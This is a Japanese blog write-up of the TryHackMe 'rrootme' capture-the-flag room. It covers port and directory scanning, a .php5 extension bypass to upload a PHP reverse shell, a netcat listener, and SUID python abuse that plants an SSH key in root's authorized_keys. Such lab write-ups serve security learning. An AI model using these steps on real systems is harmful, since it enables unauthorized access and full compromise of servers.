🌐

TryHackMe: [rrootme] writeup

2022/09/04に公開

最近TryHackMeを始めました。
備忘録ついでにWriteupを書いていこうと思います

ROOM[rrootme]

room info

url: https://tryhackme.com/room/rrootme
os: linux

0. 準備

IPアドレス毎回手打ちだと気が狂うのでenvに入れておくようにしています

export RIP=攻撃先のIPをenvに出しとく
export LIP=VPN内での自分のIPをenvに出しとく

1. nmap

nmap -sC -sV -oA rrootme -Pn $RIP

結果

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

2. dirb

phpのサービスっぽかったので -x phpをつけてる

gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
/index.php            (Status: 200) [Size: 616]
/uploads              (Status: 301) [Size: 312]
/css                  (Status: 301) [Size: 308]
/js                   (Status: 301) [Size: 307]
/panel                (Status: 301) [Size: 310]

panelという香ばしいpathを発見。当該pathはファイルをアップロードする機能があるっぽい

3. ユーザーシェル

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
php reverse shellとかでぐぐって出てくるやつを使う
// CHANGE THISと書いてある行を適当に書き換えてアップロード
-> 拡張子がphpの為弾かれる
-> 拡張子をphp5にしてアップロード

nc -lvnp 4445

とかしてreverse shellが来るのを待つ
これでアップロードしたファイルにアクセスすると 低権限のシェル獲得

4. Privileges Escalation

find / -user root -perm 4000

で pythonがsudoでできそう

低権限シェル上で

/usr/bin/python -c "import os; [os.mkdir('/root/.ssh')]"
/usr/bin/python -c 'open("/root/.ssh/authorized_keys","w+").write("自分の公開鍵")'

最後に攻撃マシン側で

ssh $RIP -l root
cat /root/root.txt

で完了

Discussion